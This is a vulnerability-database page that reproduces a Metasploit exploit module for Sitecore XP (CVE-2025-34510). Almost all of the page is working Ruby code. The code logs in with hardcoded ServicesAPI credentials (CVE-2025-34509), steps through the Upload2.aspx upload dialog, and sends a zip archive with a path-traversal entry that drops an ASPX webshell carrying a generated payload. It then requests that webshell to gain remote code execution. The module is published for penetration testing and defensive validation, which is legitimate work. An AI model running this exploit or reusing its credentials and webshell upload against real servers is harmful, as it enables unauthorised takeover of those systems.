Lucene search
K

Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution

🗓️ 11 Sep 2025 18:57:23Reported by Piotr Bazydlo, msutovsky-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 580 Views

Exploits Sitecore Experience Platform CVE-2025-34510 RCE via path traversal after login; uses CVE-2025-34509 credentials.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HTTP::SitecoreXp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Piotr Bazydlo', # Discovery
          'msutovsky-r7' # Module Creator
        ],
        'References' => [
          ['CVE', '2025-34510'],
          ['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'],
          ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667']
        ],
        'DisclosureDate' => '2025-06-17',
        'DefaultTarget' => 0,
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64]
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']),
    ])
  end

  def check
    return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b')

    @is_logged = true

    return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies

    @is_elevated = true

    sitecore_version = get_version

    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))

    Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
  end

  def upload_step(data)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
      'vars_get' => { 'hdl' => 'sc_ct_trk' },
      'keep_cookies' => true,
      'vars_post' => data
    })
    res
  end

  def upload_zipslip
    fake_zip = "#{Rex::Text.rand_text_alphanumeric(10)}.zip"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
      'vars_get' => { 'hdl' => 'sc_ct_trk' },
      'keep_cookies' => true
    })

    return false unless res&.code == 200

    hidden_inputs = res.get_hidden_inputs
    html_body = res.get_html_document

    view_state = html_body.at("input[@name='__VIEWSTATE']")

    file_el = html_body.xpath('//input').find { |link| link['name'] =~ /File([0-9]+)/ }

    return false unless hidden_inputs && view_state && file_el

    file_param = file_el['name']

    proto = datastore['ssl'] ? 'https' : 'http'

    res = upload_step({
      '__PARAMETERS' => 'FileChange',
      '__EVENTTARGET' => file_param,
      '__EVENTARGUMENT' => '',
      '__SOURCE' => file_param,
      '__EVENTTYPE' => 'change',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => 'undefined',
      '__KEYCODE' => 'undefined',
      '__X' => 'undefined',
      '__Y' => 'undefined',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    json_data = res.get_json_document

    return false unless json_data.dig('commands', 1, 'value') =~ /name="File([a-zA-Z0-9]+)"/

    new_file_input = "File#{Regexp.last_match(1)}"

    res = upload_step({
      '__PARAMETERS' => '',
      '__EVENTTARGET' => 'NextButton',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'NextButton',
      '__EVENTTYPE' => 'click',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => '0',
      '__KEYCODE' => 'undefined',
      '__X' => '1525',
      '__Y' => '1258',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => '',
      '__EVENTTARGET' => 'NextButton',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'NextButton',
      '__EVENTTYPE' => 'click',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => '0',
      '__KEYCODE' => 'undefined',
      '__X' => '1524',
      '__Y' => '1265',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => 'upload:unzipclicked',
      '__EVENTTARGET' => 'UnzipCheck',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'UnzipCheck',
      '__EVENTTYPE' => 'change',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => 'undefined',
      '__KEYCODE' => 'undefined',
      '__X' => 'undefined',
      '__Y' => 'undefined',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'UnzipCheck' => '1',
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => '',
      '__EVENTTARGET' => 'NextButton',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => 'NextButton',
      '__EVENTTYPE' => 'click',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__SHIFTKEY' => '',
      '__CTRLKEY' => '',
      '__ALTKEY' => '',
      '__BUTTON' => '0',
      '__KEYCODE' => 'undefined',
      '__X' => '1523',
      '__Y' => '1257',
      '__URL' => "#{proto}://#{datastore['vhost']}/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx%3Fhdl%3Dsc_ct_trk",
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '0',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'UnzipCheck' => '1',
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    res = upload_step({
      '__PARAMETERS' => 'StartUploading',
      '__EVENTTARGET' => '',
      '__EVENTARGUMENT' => '',
      '__SOURCE' => '',
      '__EVENTTYPE' => '',
      '__CONTEXTMENU' => '',
      '__MODIFIED' => '',
      '__ISEVENT' => '1',
      '__CSRFTOKEN' => hidden_inputs.dig(0, '__CSRFTOKEN'),
      '__VIEWSTATE' => view_state['value'],
      'Language' => hidden_inputs.dig(0, 'Language'),
      'Item' => hidden_inputs.dig(0, 'Item'),
      'Path' => hidden_inputs.dig(0, 'Path'),
      'Unzip' => '1',
      'Overwrite' => hidden_inputs.dig(0, 'Overwrite'),
      new_file_input => '',
      file_param => 'C%3A%5Cfakepath%5C' + fake_zip,
      'UnzipCheck' => '1',
      'ffSubmitForm' => ''
    })

    return false unless res&.code == 200

    zip = Rex::Zip::Archive.new

    @webshell_file = "#{Rex::Text.rand_text_alpha(15)}.aspx"
    exe = generate_payload_exe
    asp = Msf::Util::EXE.to_exe_aspx(exe)

    zip.add_file('//\/../' + @webshell_file, asp)

    zip_data = zip.pack

    vars_form_data = [
      { 'name' => '__CSRFTOKEN', 'data' => hidden_inputs.dig(0, '__CSRFTOKEN') },
      { 'name' => '__VIEWSTATE', 'data' => view_state['value'] },
      { 'name' => 'Item', 'data' => hidden_inputs.dig(0, 'Item') },
      { 'name' => 'Language', 'data' => hidden_inputs.dig(0, 'Language') },
      { 'name' => 'Path', 'data' => hidden_inputs.dig(0, 'Path') },
      { 'name' => 'Unzip', 'data' => '1' },
      { 'name' => 'Overwrite', 'data' => hidden_inputs.dig(0, 'Overwrite') },
      { 'name' => file_param, 'data' => zip_data, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => fake_zip },
      { 'name' => new_file_input, 'data' => '', 'content_type' => 'application/octet-stream', 'filename' => '' }
    ]
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
      'vars_get' => { 'hdl' => 'sc_ct_trk' },
      'vars_form_data' => vars_form_data
    })

    return false unless res&.code == 200 && res.body.include?('Done')

    true
  end

  def trigger_payload
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(@webshell_file)
    })
  end

  def exploit
    if !@is_logged && !login_identitysrv('ServicesAPI', 'b')
      fail_with(Failure::NoAccess, 'Failed to log in, check the credentials')
    end

    if !@is_elevated && !get_identity_cookies
      fail_with(Failure::Unknown, 'Failed to get elevated cookies')
    end

    fail_with(Failure::PayloadFailed, 'Failed to upload malicious ZIP') unless upload_zipslip

    trigger_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5 - 8.8
EPSS0.38428
SSVC
580